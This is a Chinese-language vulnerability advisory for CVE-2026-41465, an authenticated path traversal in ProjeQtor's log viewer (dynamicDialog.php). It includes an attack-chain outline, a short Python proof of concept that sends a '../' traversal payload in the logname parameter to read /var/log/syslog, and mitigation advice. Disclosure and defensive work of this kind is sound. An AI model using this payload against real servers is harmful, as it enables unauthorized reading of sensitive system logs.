IPBUF安全漏洞报告
English
CVE-2026-41465 CVSS 6.5 中危

CVE-2026-41465 ProjeQtor路径遍历漏洞

披露日期: 2026-04-27

漏洞信息

漏洞编号
CVE-2026-41465
漏洞类型
路径遍历
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ProjeQtor

相关标签

Path TraversalProjeQtorCWE-22Information DisclosureAuthenticated

漏洞概述

ProjeQtor是一款开源的项目管理软件。在其7.0至12.4.3版本中,系统被发现存在一个严重的路径遍历安全漏洞。该漏洞位于日志文件查看组件dynamicDialog.php中,根本原因在于对logname参数缺乏有效的输入验证。已认证的攻击者可以通过精心构造的请求,在参数中注入目录遍历序列(例如../),从而绕过目录限制。利用此漏洞,攻击者可以未经授权地读取Web服务器进程权限范围内的任意.log文件,造成敏感信息泄露风险。

技术细节

该漏洞的触发点位于ProjeQtor的dynamicDialog.php文件中,该文件用于向管理员展示系统日志。在处理用户请求时,代码直接将HTTP GET或POST请求中的logname参数拼接到文件系统路径中,未进行任何的目录过滤或路径规范化处理。攻击者只需拥有一个低权限账户,即可利用此缺陷。通过在logname参数中插入../字符序列,攻击者可以向上遍历目录结构,跳出原本受限的日志文件夹。尽管读取操作可能受限于.log后缀,但攻击者可以通过遍历系统目录(如/var/log/)来读取包含敏感操作记录或错误信息的日志文件,进而为下一步攻击提供情报。

攻击链分析

STEP 1
信息收集
攻击者识别目标系统运行的是ProjeQtor软件,并确认版本在受影响范围内(7.0至12.4.3)。
STEP 2
获取凭证
由于漏洞需要低权限认证(PR:L),攻击者通过钓鱼、弱口令爆破或注册申请获得一个有效账户。
STEP 3
构造Payload
攻击者构造包含目录遍历序列(如../)的恶意请求,目标参数为dynamicDialog.php的logname。
STEP 4
发送请求
攻击者使用已认证的会话向服务器发送恶意请求,尝试读取系统关键路径下的.log文件。
STEP 5
信息泄露
服务器响应请求,返回目标日志文件内容,攻击者获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_url = "http://target-address/projeqtor/dynamicDialog.php" # Attacker credentials (required as per PR:L) username = "attacker" password = "password" # Payload to read a specific log file using path traversal # Attempting to read /var/log/syslog (Linux) payload = { "logname": "../../../../../../var/log/syslog" } # Create a session to handle authentication session = requests.Session() # 1. Perform Login (Logic depends on actual form, assuming standard) # login_data = {"login": username, "password": password} # session.post(f"{target_url}/login.php", data=login_data) print(f"[*] Attempting to exploit CVE-2026-41465 on {target_url}") try: # 2. Send the malicious request response = session.get(target_url, params=payload, timeout=10) # 3. Check if the response contains log content if response.status_code == 200 and "log" in response.text.lower(): print("[+] Exploit successful! Log file content extracted:") print(response.text[:500]) # Print first 500 chars else: print("[-] Exploit failed or file not found.") except Exception as e: print(f"[!] Error: {e}")

影响范围

ProjeQtor 7.0
ProjeQtor 7.1
ProjeQtor 7.2
ProjeQtor 8.0
ProjeQtor 9.0
ProjeQtor 10.0
ProjeQtor 11.0
ProjeQtor 12.0
ProjeQtor 12.1
ProjeQtor 12.2
ProjeQtor 12.3
ProjeQtor 12.4.0
ProjeQtor 12.4.1
ProjeQtor 12.4.2
ProjeQtor 12.4.3

防御指南

临时缓解措施
如果无法立即升级,建议管理员暂时禁用日志查看功能或通过Web应用防火墙(WAF)拦截包含“../”序列的请求。同时,检查系统日志以确认是否已被攻击者利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表